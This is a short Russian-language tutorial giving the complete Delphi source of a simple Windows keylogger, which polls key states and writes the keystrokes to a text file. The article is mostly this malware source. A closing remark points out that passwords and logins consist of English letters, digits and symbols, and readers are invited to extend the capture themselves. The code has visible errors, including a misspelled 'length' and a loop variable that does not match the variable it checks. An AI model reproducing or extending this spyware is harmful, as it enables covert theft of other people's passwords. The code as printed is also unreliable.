В данной статье рассмотрим простейший пример keylogger (клавиатурный шпион). Keylogger (кейлоггер) — (англ. key — клавиша и logger — регистрирующее устройство) — это программное обеспечение или аппаратное устройство, регистрирующее каждое нажатие клавиши на клавиатуре компьютера (http://ru.wikipedia.org/wiki/Keylogger). В нашем случае программа будет опрашивать состояние клавиш, затем сохранять их значение в файл. На изображении показан файл программы и её отчет (перехваченные данные), реализации автозагрузки, шифровки и отправки отчета на электронный почтовый ящик в этой статье не будет
Program KLogger;
Uses Windows;
const FlName='kbd_report.txt';
wait=50;
var wndh:Cardinal;
wndtxt:array[0..255]of char;
wndclass:array[0..255]of char;
cstr:string='';
num:integer;
function izex(path:pchar):boolean;{проверка наличия файла на диске}
begin Result:=true; if GetFileAttributes(path)=DWord(-1) then result:=false;
end;
function ontop(wH:Cardinal):boolean;{проверка - является ли окно самым верхним}
begin Result:=(GetForegroundWindow()=wH);
end;
procedure writer(value:string);{запись значений нажатых клавиш на диск}
var F:TextFile;
i:integer;
begin
AssignFile(F,FLName);
if izex(FLName) then Append(F)
else
Rewrite(F);
for i:=1 to lemgth(value) do
write(F,value[i]);
CloseFile(F);
end;
BEGIN While true do
begin
wndh:=GetForegroundWindow();
while ontop(wndh) do begin For num:=8 to 90 do
begin if GetAsyncKeyState(i)=-$7FFF then if GetKeyState(i)<>0 then
cstr:=cstr+chr(i);
end;
end;
if cstr<>'' then writer(cstr); Sleep(wait); cstr:='';
end;
END.
Ну вот и всё, простейший кейлоггер готов, реализацию отлова русских и спец символов додумывайте сами. PS пароли и логины обычно состоят из английских букв, цифр и спец. символов.
|